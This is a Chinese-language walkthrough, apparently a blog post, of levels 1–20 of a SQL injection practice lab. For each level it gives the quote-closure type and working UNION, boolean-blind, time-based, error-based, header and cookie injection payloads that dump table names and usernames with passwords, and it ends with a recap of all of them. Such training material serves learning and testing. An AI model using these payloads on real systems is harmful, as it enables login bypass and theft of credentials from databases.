第一关
1.首先判断闭合方式
在我之前发布的文章中有详细的sql注入判断闭合的方法和原理,参考《sql注入实验原理》
在1-6关,我们可以通过在参数后面加\的方法判断闭合
\后面的符号就是闭合符号,由此可见第一关的闭合方式为'闭合
2.判断字段数
1' order by 3--+ //判断出页面中存在三个字段
当我们输入?id=1' order by 4--+时页面显示没有第4字段,由此判断字段数为3.
3.判断回显位
因为有三个字段,所以我们使用命令
-1' union select 1,2,3--+ //判断回显点
判断出第2,3字段的内容回显在页面中
4.爆数据库名
我们可以将2或者3更改为database()来使页面回显出数据库名
使用命令:
-1' union select 1,2,database()--+ //得到数据库名
得到数据库名为security
5.爆表名
使用命令
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
发现该数据库下存在这四个表
6.爆字段名
我们选择爆users表中的字段名,看看users表都有什么字段
使用命令
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
发现users表中的所有字段,接下来我们看看username和password的内容
7.爆字段中的内容
使用命令
-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容
至此,第一关我们就结束啦
所用到的代码如下
1' order by 3--+ //判断出页面中存在三个字段
-1' union select 1,2,3--+ //判断回显点
-1' union select 1,2,database()--+ //得到数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容
第二关
和第一关一样,是数字型注入
直接上代码
1 order by 3--+ //判断出页面中存在三个字段
-1 union select 1,2,3--+ //判断回显点
-1 union select 1,2,database()--+ //得到数据库名
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1 union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容
第三关
和第一关一样,只不过是')闭合
第四关
和第一关一样,只不过是")闭合
第五关
这关发现没有回显位,这关可以使用布尔盲注,时间盲注和报错注入
对于这关大部分博主使用的是布尔盲注,布尔盲注和时间盲注确实很好用,但是需要一个一个字母的试,比较消耗耐心,通常配合用脚本和工具。这关我选择使用报错注入。
需要用到函数updatexml()或者extractvalue()
1.爆数据库名
使用命令
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))--+
使用命令
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+ //得到表名
由此可见,对于这种情况,报错注入比布尔盲注更方便,不过所有注入方式都要会
这关的布尔盲注和报错注入的代码如下
‘闭合 布尔盲注
-1' or length(database())=8--+
-1' or substr((database()),1,8)='security'--+
-1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29--+
-1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,29)='emails,referers,uagents,users'--+
-1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'--+
-1' or substr((select group_concat(id,email_id) from emails),1,1)='1'--+
报错注入
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))--+
第六关
"闭合 布尔盲注,报错注入
第七关
'))闭合 布尔盲注
判断命令
?id=1')) and 1=1--+ // 页面回显正常
?id=1')) and 1=2--+ // 页面回显错误
第八关
'闭合 布尔盲注
使用的注入语句和第五关的布尔盲注一样
第九关
发现这关不管输入什么都回显一样的页面,我们尝试使用时间盲注
使用命令
1' and sleep(5)--+
发现页面成功加载了5秒
接下来使用命令
1' and sleep(5)--+
1' and if((length(database())=8),sleep(5),1)--+
1' and if(substr(database(),1,1)='s',sleep(5),1)--+
1' and if(substr(database(),1,8)='security',sleep(5),1)--+
1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1)--+
1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i',sleep(5),1)--+
1' and if(substr((select group_concat(id,email_id) from emails),1,1)='1',sleep(5),1)--+
逐一判断数据库名,表名,字段名,内容
手工使用时间盲注很浪费时间,我们只需要懂得如何使用时间盲注以及原理就好,剩下的就用sqlmap跑了
第十关
”闭合 时间盲注
使用命令和第九关一样,只需要把'改为"就行了
第十一关
这是一个登录页面,使用的是POST请求 '闭合
使用万能密码登录成功
接下来判断回显点
后面使用代码
1' or 1=1#
1' union select 1,2#
1' union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select 1,group_concat(username,password) from users#
第十二关
通过命令
1") or 1=1#
页面回显登录成功,说明是")闭合
剩下的命令就和第十一关一样了,只需把'改为"))
第十三关
使用命令
1') or 1=1# //登录成功
1') or 1=2# //登录失败
第十三关和第十二关不一样的是:
第十二关会回显出登录名和密码,有回显点
第十三关只有登录成功和登录失败
由此我们可以尝试使用 报错注入和盲注
首先使用报错注入
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
发现页面成功回显出数据库名,说明使用报错注入是可行的
布尔盲注和报错注入的命令如下
布尔盲注:
1') or 1=1#
1') or length(database())=8#
1') or substr((database()),1,8)='security'#
1') or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1') or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1') or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1') or substr((select group_concat(id,email_id) from emails),1,1)='1'#
报错注入:
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#
第十四关
和第十三关一样 "闭合 无回显 布尔盲注 报错注入
判断闭合命令
1" or 1=1#
发现登录成功,说明是"闭合
使用命令
1" and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
第十四关可以使用布尔盲注和报错注入,和第十三关一样,只需将闭合方式改成"闭合
第十五关
这关就不能使用报错注入了,使用盲注
通过命令
1' or 1=1#
发现登录成功,闭合方式为’闭合
尝试是否可以使用报错注入,命令为
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
发现触发不了报错,只能老老实实用盲注了,命令如下
1' or 1=1#
1' or length(database())=8#
1' or substr((database()),1,8)='security'#
1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1' or substr((select group_concat(id,email_id) from emails),1,1)='1'#
第十六关
判断闭合方式,命令如下
1") or 1=1#
发现登录成功,由此发现闭合方式为")闭合
剩下的注入语句就和第十五关一样了,只需改为")闭合
第十七关
发现是密码重置页面
判断闭合方式为'闭合
user name:admin
new password:1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
尝试报错注入
发现页面成功回显出数据库版本号
使用如下命令
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
第十八关
是个登录页面,我们登录admin试试
发现页面回显出user agent
尝试使用user agent注入
在user agent输入
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
发现页面成功回显出数据库名
接下来就可以使用命令
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from emails),0x7e)) or '
第十九关
登录
发现页面回显出referer,尝试使用referer注入
这关和第十八关一样,只需将注入语句写到referer中就行啦
第二十关
登录后发现页面回显出了我们的cookie
那我们就尝试cookie注入
使用语句
uname=1' union select 1,2,3--+
发现页面成功回显
接下来就可以使用如下语句了
uname=1' union select 1,2,3--+
uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
至此,我们1-20关的基础篇就通关啦
前二十关涉及到的注入方式有:布尔盲注,时间盲注,报错注入,user agent注入,referer注入,cookie注入。
所有语句如下
第一关:'闭合
1' order by 3--+ //判断出页面中存在三个字段
-1' union select 1,2,3--+ //判断回显点
-1' union select 1,2,database()--+ //得到数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容
第二关:数字型
第三关:')
第四关:")
第五关:‘闭合 布尔盲注
-1' or length(database())=8--+
-1' or substr((database()),1,8)='security'--+
-1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29--+
-1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,29)='emails,referers,uagents,users'--+
-1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'--+
-1' or substr((select group_concat(id,email_id) from emails),1,1)='1'--+
报错注入
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))--+
1' and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))--+
第六关:"闭合 布尔盲注
第七关:'))闭合 布尔盲注
?id=1')) and 1=1--+ // 页面回显正常
?id=1')) and 1=2--+ // 页面回显错误
第八关:'闭合 布尔盲注
第九关:'闭合 时间盲注
1' and sleep(5)--+
1' and if((length(database())=8),sleep(5),1)--+
1' and if(substr(database(),1,1)='s',sleep(5),1)--+
1' and if(substr(database(),1,8)='security',sleep(5),1)--+
1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1)--+
1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i',sleep(5),1)--+
1' and if(substr((select group_concat(id,email_id) from emails),1,1)='1',sleep(5),1)--+
第十关:"闭合 时间盲注
第十一关: 登录界面 '闭合 POST请求
1' or 1=1#
1' union select 1,2#
1' union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select 1,group_concat(username,password) from users#
第十二关:登录界面 ")闭合
1") or 1=1#
第十三关:登录界面 ')闭合 无回显 布尔盲注 报错注入
布尔盲注:
1') or 1=1#
1') or length(database())=8#
1') or substr((database()),1,8)='security'#
1') or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1') or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1') or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1') or substr((select group_concat(id,email_id) from emails),1,1)='1'#
报错注入:
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#
第十四关:登录界面 "闭合 无回显 布尔盲注 报错注入
1" or 1=1#
第十五关:登录界面 '闭合 无回显 布尔盲注
1' or 1=1#
1' or length(database())=8#
1' or substr((database()),1,8)='security'#
1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#
1' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#
1' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#
1' or substr((select group_concat(id,email_id) from emails),1,1)='1'#
第十六关:登录界面 ")闭合 无回显 布尔盲注
1") or 1=1#
第十七关:密码重置页面 报错注入
1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
第十八关:user-agent报错注入
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from emails),0x7e)) or '
第十九关: referer报错注入
注入语句和第十八关一样
第二十关:cookie注入
uname=1' union select 1,2,3--+
uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
有需要更改的地方欢迎大家指出
感谢观看